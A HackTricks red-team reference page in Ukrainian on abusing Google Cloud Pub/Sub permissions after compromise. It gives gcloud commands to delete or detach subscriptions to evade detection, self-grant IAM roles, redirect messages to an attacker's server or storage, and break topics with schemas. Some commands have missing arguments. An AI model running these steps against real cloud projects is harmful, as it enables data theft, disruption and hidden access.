GCP - Pub/Sub Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Pub/Sub

Для отримання додаткової інформації про Pub/Sub перегляньте наступну сторінку:

GCP - Pub/Sub Enum

pubsub.topics.publish

Публікує повідомлення в topic, корисно для надсилання несподіваних даних та ініціювання несподіваної поведінки або експлуатації вразливостей:

Опублікувати повідомлення в topic ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Корисно, щоб запобігти отриманню підпискою повідомлень, наприклад для уникнення виявлення.

Від'єднати підписку від topic ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Корисно, щоб запобігти отриманню повідомлень підпискою, можливо, щоб уникнути виявлення.
Можна видалити топік навіть якщо до нього приєднані підписки.

Видалити топік ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Використовуйте цей дозвіл, щоб змінити деякі налаштування теми й порушити її роботу, наприклад --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Надайте собі дозвіл виконувати будь-яку з попередніх атак.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Отримати всі повідомлення на веб-сервері:

Створити push subscription, щоб отримувати повідомлення ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Створіть підписку і використайте її для витягування повідомлень:

Створити pull-підписку та отримати повідомлення ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Видалення підписки** може бути корисним для порушення роботи системи обробки логів або чогось подібного:

<details>

<summary>Видалити підписку</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Скористайтеся цим дозволом, щоб змінити налаштування так, щоб повідомлення зберігалися у місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їхню доставку.

Оновити кінцеву точку підписки ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-якої з попередньо описаних attacks.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Прикріпіть схему до топіка так, щоб повідомлення не відповідали їй і, відповідно, топік було порушено.
Якщо схем немає, можливо, доведеться створити її.

Створіть файл схеми та прикріпіть до топіка ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які їй не відповідають. Однак, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Отже це НЕКОРИСНО:

Видалити schema (не корисно) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Надайте собі дозволи, необхідні для виконання будь-якої з раніше зазначених атак.

pubsub.snapshots.create, pubsub.snapshots.seek

Це створить snapshot усіх unACKed messages і поставить їх назад у subscription. Не дуже корисно для атакувальника, але ось:

Створити snapshot і виконати seek до нього ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks